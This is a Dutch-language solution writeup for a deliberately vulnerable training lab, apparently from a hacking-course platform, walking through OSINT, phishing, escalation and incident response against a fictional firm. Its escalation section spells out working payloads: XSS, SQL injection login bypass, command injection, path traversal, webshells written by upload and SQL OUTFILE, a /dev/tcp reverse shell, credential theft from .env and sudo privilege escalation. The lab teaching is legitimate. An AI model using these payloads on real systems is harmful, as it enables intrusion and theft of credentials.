Trainer · volledige oplossing

Novento writeup

Alle 16 technieken en de echte shellketen. Dit is dezelfde bron als Guided Mode op het leerpad.

○ Jan○ root

Jouw tijdelijke werkomgeving

Kies je werkplek

Alleen jouw instance
01

Browser attackbox

Direct aan de slag als haxor. Open twee tabs voor een listener en je onderzoek.

Open attackbox
02

Eigen Kali via OpenVPN

Download je persoonlijke profiel op de startpagina. Doel- en listeneradres staan bovenaan het profiel.

Beheer & OpenVPN
03

Bewijs en voortgang

Bewaar de phishingmail, volg je 16 technieken en lever Jan- en rootbewijs in.

Scope: alleen deze Novento-instance. Labmachines en VPN hebben geen internettoegang. Browserdoel http://novento-lab:8080 · listener attackbox.

01

De Verkenning · Week 1–13

De kaart van mensen

Cipher verzamelt rollen, routines en projectcontext. Sandra breekt in de finale de keten door Karin zelf te bellen.

  1. Open de publieke site, robots.txt, teamupdates en de kennisbank. Noteer namen, rollen, systemen en de vestigingen Alkmaar en Haarlem.
  2. Bekijk de paginabron voor de WordPress- en pluginversie. Gebruik robots.txt als startpunt voor content discovery, niet als bewijs dat een route afgeschermd is.
  3. Vul bij Missienotities een waarneming in met minimaal Sandra of Finance én Alkmaar of Haarlem. Beschrijf de bron en een concrete verificatiemaatregel. Daarna verschijnt de OSINT-vlag op het scoreboard.
Verdediging

Welke informatie moet publiek blijven, en welk detail zou je weghalen of anders delen?

02

De Inbraak · Week 14–26

Een klik is nog geen overname

Thomas klikt in week 25 maar meldt binnen een minuut. Cipher heeft zes minuten in zijn mailbox. Sarah meldt in de finale als eerste.

  1. Test reflected XSS via /search met <script>alert(document.domain)</script>. Controleer daarna de vlag op /scoreboard.
  2. Test de gewone login met it-support@noventogroep.nl / Welkom01!. Dit bewijst het weak-password/no-rate-limit pad en ontgrendelt de interne tools.
  3. Log uit en test de SQL-bypass met e-mail ' OR 1=1# en wachtwoord x. Log daarna opnieuw in als IT voor de volgende fase.
  4. Start in de attackbox een listener: python3 -m http.server 8000 --bind 0.0.0.0.
  5. Stuur via het contactformulier een bericht naar Sandra met onderwerp Factuur en betaalbatch en een link naar http://attackbox:8000/bevestiging.
  6. Open Mailpit voor het originele bericht en je listener voor de echte HTTP-klik. In een live lab kan dit 30 tot 60 seconden duren. Een klik is bewijs van gedrag, niet automatisch van accountovername.
Verdediging

Welke combinatie van MFA, melden en sessies intrekken verkort Ciphers tijd?

03

De Escalatie · Week 27–39

Van toegang naar rechten

Rubens account is na zijn vertrek blijven bestaan. MFA was voor de overdracht uitgezet. Sarah legt in de finale de vertrekkerslijst naast de accounts.

  1. Log in als it-support@noventogroep.nl / Welkom01!. Open eerst elk onderdeel via het menu Interne tools zodat je de normale functie kent.
  2. SSRF: open /diagnostics en controleer http://127.0.0.1:8080/internal/metadata. De applicatieserver haalt zijn eigen interne endpoint op.
  3. Command injection: open /tools, test eerst KLANT-1001 en daarna KLANT-1001; id.
  4. Path traversal: open /documents en gebruik als document ../../etc/passwd. Gebruik daarna voor LFI ../src/server.js.
  5. RFI voorbereiden: maak in de attackbox printf 'Kwartaalrapport {{exec:id}}\n' > /tmp/evil.tpl en start python3 -m http.server 8000 --directory /tmp --bind 0.0.0.0.
  6. RFI uitvoeren: laad in het veld Rapportsjabloon http://attackbox:8000/evil.tpl. Bij OpenVPN gebruik je het listeneradres uit je profiel.
  7. IDOR: open /invoice en verander het eigen factuurnummer 2026-0142 in 2026-0163.
  8. JWT: open /portal, zoek cookie novento_jwt en zet de waarde op eyJ1c2VyIjoic2FuZHJhIiwicm9sZSI6ImFkbWluIn0. Herlaad de pagina voor de beheerdersweergave.
  9. Upload: open /upload, klik Eigen bestand uploaden en gebruik bestandsnaam profielfoto.js, type image/png en als inhoud process.stdout.write(require('node:child_process').execSync(new URLSearchParams(process.env.QUERY_STRING).get('cmd') || 'id')).
  10. Open de opgeslagen route /uploads/profielfoto.js?cmd=id. Een echte afbeelding blijft data; alleen uitvoerbare scripts worden uitgevoerd.
  11. SQL write-file: vul als IT op /reports in: missing'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/portal/uploads/report-shell.php'; -- -
  12. Open /uploads/report-shell.php?cmd=id. De database heeft nu zelf een werkende PHP-webshell geschreven.
  13. Reverse shell: open een tweede attackbox-terminal en start nc -lvnp 4444. Open daarna in de browser /tools?dossier=; nohup bash -c 'bash -i >& /dev/tcp/attackbox/4444 0>&1' >/tmp/r.log 2>&1 &. Bij OpenVPN vervang je attackbox door het listeneradres uit je profiel.
  14. Controleer in de reverse shell id en cat /home/jan/notes.txt. Lees het backuptoken met cat /var/www/portal/.env.
  15. Word Jan via een echte PTY: python3 -c 'import pty; pty.spawn(["su","jan"])'. Wachtwoord: JAN-BACKUP-TOKEN-APRIL.
  16. Lees de Jan-vlag met cat /home/jan/notes.txt en controleer sudo -l.
  17. Word root met sudo /usr/local/bin/wp-maintenance --exec /bin/bash en lees /root/root.txt.
  18. Dien beide unieke vlaggen in op /scoreboard. Root geldt alleen binnen de wegwerpdoelmachine, nooit op de labhost.
Verdediging

Welke controle had Rubens toegang beëindigd, en welke combinatie van query-, bestands- en sudo-beperkingen stopt de technische escalatie?

04

De Tegenstand · Week 40–52

Maak de aanval zichtbaar

De besmette leveranciersupdate raakt één server. Mila merkt het vrijdag om 07:44, belt Jan om 07:54; om 08:00 belt Jan Karin. Herstel komt uit de kopie van dinsdagavond.

  1. Verzamel je eigen bewijs: listenerlog, bericht in Mailpit, id-output vóór en na de wissel en de Linux-vlaggen.
  2. Open via het incidentdossier de canon: Mila 07:44, Jan 07:54 en Karin 08:00.
  3. Maak een tijdlijn met minstens drie gebeurtenissen. Noteer bij elk tijdstip de bron en label expliciet wat een waarneming of aanname is.
  4. Beschrijf isolatie, bewijsbehoud en hoe je controleert dat herstel uit de kopie van dinsdagavond betrouwbaar is. Bewaar je antwoorden onder Missienotities voor de debrief.
Verdediging

Wie meldt wat aan Jan en Karin, en hoe toon je dat een teruggezette kopie betrouwbaar is?